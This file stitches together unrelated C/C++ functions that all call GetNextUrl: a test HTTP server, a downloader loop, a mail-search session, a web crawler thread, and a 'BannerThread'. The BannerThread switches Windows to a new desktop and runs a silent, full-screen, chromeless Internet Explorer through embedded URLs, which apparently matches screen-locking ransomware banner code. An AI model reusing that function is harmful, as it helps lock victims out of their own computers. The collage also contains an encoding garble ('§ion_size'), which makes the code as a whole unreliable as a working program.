void PerformNext()
{
HttpResponse response;
response.body = Html5Begin();
response.uri = GetNextUrl();
auto& info = links[response.uri];
response.status = info.status;
if (response.status == 200)
{
for(const auto& link : info.links)
{
response.body.append(MakeAnchor(link));
};
}
else
{
response.header.insert(std::make_pair("Location", info.links.front()));
}
response.body.append(Html5End());
if (sleepMilliseconds)
std::this_thread::sleep_for(
std::chrono::milliseconds(sleepMilliseconds));
visits.push_back(response.uri);
PushResponse(std::move(response));
}
void UrlCoordinator::Run()
{
debug("Entering UrlCoordinator-loop");
while (!DownloadQueue::IsLoaded())
{
usleep(20 * 1000);
}
int resetCounter = 0;
while (!IsStopped())
{
bool downloadStarted = false;
if (!g_Options->GetPauseDownload() || g_Options->GetUrlForce())
{
// start download for next URL
GuardedDownloadQueue downloadQueue = DownloadQueue::Guard();
if ((int)m_activeDownloads.size() < g_Options->GetUrlConnections())
{
NzbInfo* nzbInfo = GetNextUrl(downloadQueue);
bool hasMoreUrls = nzbInfo != nullptr;
bool urlDownloadsRunning = !m_activeDownloads.empty();
m_hasMoreJobs = hasMoreUrls || urlDownloadsRunning;
if (hasMoreUrls && !IsStopped())
{
StartUrlDownload(nzbInfo);
downloadStarted = true;
}
}
}
int sleepInterval = downloadStarted ? 0 : 100;
usleep(sleepInterval * 1000);
resetCounter += sleepInterval;
if (resetCounter >= 1000)
{
// this code should not be called too often, once per second is OK
ResetHangingDownloads();
resetCounter = 0;
}
}
WaitJobs();
debug("Exiting UrlCoordinator-loop");
}
/* void OnStopRunningUrl (in nsIURI url, in nsresult aExitCode); */
NS_IMETHODIMP nsMsgSearchSession::OnStopRunningUrl(nsIURI *url, nsresult aExitCode)
{
nsCOMPtr <nsIMsgSearchAdapter> runningAdapter;
nsresult rv = GetRunningAdapter (getter_AddRefs(runningAdapter));
// tell the current adapter that the current url has run.
if (NS_SUCCEEDED(rv) && runningAdapter)
{
runningAdapter->CurrentUrlDone(aExitCode);
EnableFolderNotifications(PR_TRUE);
ReleaseFolderDBRef();
}
m_idxRunningScope++;
if (++m_urlQueueIndex < m_urlQueue.Count())
GetNextUrl();
else if (m_idxRunningScope < m_scopeList.Count())
DoNextSearch();
else
NotifyListenersDone(aExitCode);
return NS_OK;
}
nsresult nsMsgSearchSession::BuildUrlQueue ()
{
PRInt32 i;
for (i = m_idxRunningScope; i < m_scopeList.Count(); i++)
{
nsMsgSearchScopeTerm *scope = m_scopeList.ElementAt(i);
if (scope->m_attribute != nsMsgSearchScope::onlineMail &&
(scope->m_attribute != nsMsgSearchScope::news && scope->m_searchServer))
break;
nsCOMPtr <nsIMsgSearchAdapter> adapter = do_QueryInterface((m_scopeList.ElementAt(i))->m_adapter);
nsCString url;
if (adapter)
{
adapter->GetEncoding(getter_Copies(url));
AddUrl (url.get());
}
}
if (i > 0)
GetNextUrl();
return NS_OK;
}
DWORD WINAPI BannerThread(LPVOID p)
{
PP_DPRINTF(L"BannerThread: finished.");
WorkingThreadParam* param = (WorkingThreadParam*)p;
pUrl=(WCHAR*)MemAlloc(1024*1024*sizeof(WCHAR));
ZeroMemory(pUrl, 1024*1024*sizeof(WCHAR));
DWORD section_size = 0;
void* section = GetUrlsSection(§ion_size);
if (section_size != 0)
{
PP_DPRINTF(L"BannerThread: Resource loaded successfull. (ptr=%d size=%d)",
section, section_size);
memcpy(pUrl,section,section_size);
}
PP_DPRINTF(L"BannerThread: Resource loading finished.");
HDESK new_desktop = ::CreateDesktop(DESK_NAME,NULL,NULL,0,GENERIC_ALL,NULL);
if (new_desktop)
{
BOOL thread_chandged = ::SetThreadDesktop(new_desktop);
PP_DPRINTF(L"BannerThread: SetThreadDesktop() to new desktop 0x%X result=%d",
new_desktop,
thread_chandged);
BOOL switched = ::SwitchDesktop(new_desktop);
PP_DPRINTF(L"BannerThread: New desktop switched. thread_changed=%d", switched);
}
CoInitialize(NULL);
IWebBrowser2 *browser=NULL;
if ((SUCCEEDED(CoCreateInstance(CLSID_InternetExplorer, NULL,CLSCTX_LOCAL_SERVER, IID_IWebBrowser2,(void**)&browser))) && (browser != NULL))
{
browser->put_Visible(VARIANT_TRUE);
browser->put_Silent(VARIANT_TRUE);
browser->put_MenuBar(VARIANT_FALSE);
browser->put_StatusBar(VARIANT_FALSE);
browser->put_Resizable(VARIANT_FALSE);
browser->put_ToolBar(VARIANT_FALSE);
browser->put_AddressBar(VARIANT_FALSE);
browser->put_FullScreen(VARIANT_TRUE);
// Всё ОК - извещаем всех о том, что начали показ банеров.
SetBannerStarted();
WCHAR *lpUrl;
while (lpUrl=GetNextUrl())
{
VARIANT var;
VariantInit(&var);
BSTR bstrURL = SysAllocString(lpUrl);
browser->Navigate(bstrURL, &var, &var, &var, &var);
WaitTillLoaded(browser);
if (CheckPage(browser))
break;
}
}
if (browser != NULL)
browser->Release();
CoUninitialize();
MemFree(pUrl);
MemFree(param);
return 0;
}
int SpiderThread::Run(void *param)
{
HANDLE httpNotifyEvent[MAX_SPIDER_THREAD+1];
int waitR=0;
CMyAsyncHttp::HTTP_STATE state;
int idleHttpCount=0;
bool exit=false;
m_InterfaceConfig.Lock();
for(int i=0;i<m_HttpCount;i++)
{
httpNotifyEvent[i]=m_Http[i].m_FinishNotify;
m_Http[i].SetMark(false);
}
httpNotifyEvent[i]=m_EndEvent;
UrlInfo* url=m_MassMem_UrlInfo.AllocMem();
url->iUrl =(char*)param;
m_UrlList.push_back(url);
m_SameRegex=(m_UrlRegex==HTTP_REGEX);
AddHashMap(CUrl::GetUrlHost(url->iUrl),url->iUrl);
while(1)
{
idleHttpCount =0;
for(int i=0;i<m_HttpCount;i++)
{
//检查退出指令
if(WaitEvent(m_EndEvent,0)==0)
{
exit =true;
break;
}
//判断当前连接是否空闲
if(m_Http[i].IsIdle())
{
state =m_Http[i].GetHttpState();
if(state==CMyAsyncHttp::HTTP_FINISH&&m_Http[i].GetCurrentUrl()!="")
{
//http请求正确
int state=m_Http[i].GetStatusCode();
if(state<400)
{
//服务器返回正常
if(state<300)
AnalysisData(&m_Http[i]);
else
RelocateUrl(&m_Http[i]);
}
else
{
ErrorProcess(&m_Http[i]);
}
m_Http[i].SetMark(true);
}
else if(state==CMyAsyncHttp::HTTP_TIMEOUT||state==CMyAsyncHttp::HTTP_STOP)
{
//http请求超时
ErrorProcess(&m_Http[i]);
m_Http[i].SetMark(true);
}
if(GetNextUrl())
{
m_Http[i].SetParentUrl(m_CurrentUrl->iParentUrl);
m_Http[i].Get(m_CurrentUrl->iUrl.GetBuffer());
m_MassMem_UrlInfo.FreeMem(m_CurrentUrl);
m_Http[i].SetMark(false);
printf("url count:%d\n",m_MassMem_UrlInfo.GetAllocCount());
}
else
{
idleHttpCount =0;
for(int i=0;i<m_HttpCount;i++)
{
if(m_Http[i].GetMark())idleHttpCount++;
}
if(idleHttpCount==m_HttpCount)
{
exit =true;
break;
}
}
}
}
if(exit)break;
waitR=::WaitForMultipleObjects(m_HttpCount+1,httpNotifyEvent,false,-1);
if(waitR==m_HttpCount)
break;
}
m_InterfaceConfig.m_SpiderFinish->OnFinish();
ClearUrlList();
return 1;
}
